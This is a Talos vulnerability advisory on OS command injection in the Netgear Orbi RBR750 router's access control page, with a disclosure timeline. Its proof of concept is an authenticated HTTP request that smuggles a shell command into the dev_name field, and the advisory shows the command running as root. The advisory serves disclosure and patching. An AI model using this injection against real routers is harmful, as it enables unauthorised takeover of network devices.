Talos Vulnerability Report

SUMMARY

A command execution vulnerability exists in the access control functionality of Netgear Orbi Router RBR750 4.6.8.5. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Netgear Orbi Router RBR750 4.6.8.5

PRODUCT URLS

Orbi Router RBR750 - https://www.netgear.com/support/product/RBR750

CVSSv3 SCORE

9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

The Orbi Mesh Wi-Fi System creates dedicated high-speed Wi-Fi connections to your Internet service. The Orbi router (model RBR750) connects to your modem or gateway. The Orbi satellite (model RBS750) extends the Wi-Fi signal throughout your home.

The access control functionality of the Orbi RBR750 allows a user to explicitly add devices (specified by MAC address and a hostname) to allow or block the specfied device when attempting to access the network. However, the dev_name parameter is vulnerable to command injection.

Exploit Proof of Concept

POST /access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP/1.1
Host: 10.0.0.1
Content-Length: 104
Authorization: Basic YWRtaW46UGFzc3cwcmQ=
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: yummy_magical_cookie=/; XSRF_TOKEN=2516336866
Connection: close

action=Apply&mac_addr=aabbccddeeaa&dev_name=test;ping${IFS}10.0.0.4&access_control_add_type=blocked_list

On the device itself, we can see this command now being executed.

   root@RBR750:/tmp# ps | grep ping
   21763 root      1336 S    ping 10.0.0.4

TIMELINE

2022-08-30 - Initial Vendor Contact
2022-09-05 - Vendor Disclosure
2023-01-19 - Vendor Patch Release
2023-03-21 - Public Release